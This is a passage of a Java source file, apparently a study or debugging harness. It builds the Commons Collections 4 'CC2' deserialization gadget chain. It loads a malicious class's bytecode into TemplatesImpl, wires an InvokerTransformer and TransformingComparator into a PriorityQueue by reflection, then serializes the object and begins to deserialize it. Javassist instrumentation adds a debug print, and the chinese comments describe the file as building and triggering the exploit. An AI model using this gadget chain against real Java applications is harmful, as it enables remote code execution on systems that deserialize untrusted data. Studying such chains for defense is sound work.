| 8 | import java.util.PriorityQueue; |
| 9 | |
| 10 | public class MonitorCC2 { |
| 11 | final static ClassPool pool = ClassPool.getDefault(); |
| 12 | final static ClassPool pool2 = ClassPool.getDefault(); |
| 13 | final static String classname = "org.apache.commons.collections4.comparators.TransformingComparator"; |
| 14 | |
| 15 | public void studentDisplayMonitor() throws Exception{ |
| 16 | CtClass ss = pool.getCtClass(classname); |
| 17 | CtClass ss2 = pool2.getCtClass("CC.TestTemplatesImpl"); |
| 18 | byte[] bytes = ss2.toBytecode(); |
| 19 | |
| 20 | //反射创建TemplatesImpl |
| 21 | Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); |
| 22 | Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{}); |
| 23 | Object TemplatesImpl_instance = constructor.newInstance(); |
| 24 | //将恶意类的字节码设置给_bytecodes属性 |
| 25 | Field bytecodes = aClass.getDeclaredField("_bytecodes"); |
| 26 | bytecodes.setAccessible(true); |
| 27 | bytecodes.set(TemplatesImpl_instance , new byte[][]{bytes}); |
| 28 | //设置属性_name为恶意类名 |
| 29 | Field name = aClass.getDeclaredField("_name"); |
| 30 | name.setAccessible(true); |
| 31 | name.set(TemplatesImpl_instance, "TestTemplatesImpl"); |
| 32 | |
| 33 | CtClass.debugDump="./dump"; |
| 34 | String methodname = "compare"; |
| 35 | CtMethod compare = ss.getDeclaredMethod(methodname); |
| 36 | String src = "if(true){" + |
| 37 | "System.out.println(\"Hello siftDown123\");" + |
| 38 | "}"; |
| 39 | compare.insertBefore(src); |
| 40 | ss.toClass(); |
| 41 | |
| 42 | //构造利用链 |
| 43 | InvokerTransformer transformer=new InvokerTransformer("newTransformer",null,null); |
| 44 | TransformingComparator transformer_comparator =new TransformingComparator(transformer); |
| 45 | |
| 46 | //触发漏洞 |
| 47 | PriorityQueue queue = new PriorityQueue(2); |
| 48 | queue.add(1); |
| 49 | queue.add(1); |
| 50 | //设置comparator属性 |
| 51 | Field field=queue.getClass().getDeclaredField("comparator"); |
| 52 | field.setAccessible(true); |
| 53 | field.set(queue,transformer_comparator); |
| 54 | //设置queue属性 |
| 55 | field=queue.getClass().getDeclaredField("queue"); |
| 56 | field.setAccessible(true); |
| 57 | //队列至少需要2个元素 |
| 58 | Object[] objects = new Object[]{TemplatesImpl_instance , TemplatesImpl_instance}; |
| 59 | field.set(queue,objects); |
| 60 | |
| 61 | //序列化 ---> 反序列化 |
| 62 | //FileOutputStream fs = new FileOutputStream("foo.ser"); |
| 63 | ByteArrayOutputStream barr = new ByteArrayOutputStream(); |
| 64 | ObjectOutputStream oos = new ObjectOutputStream(barr); |
| 65 | oos.writeObject(queue); |
| 66 | oos.close(); |
| 67 | ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); |
nothing calls this directly
no outgoing calls
no test coverage detected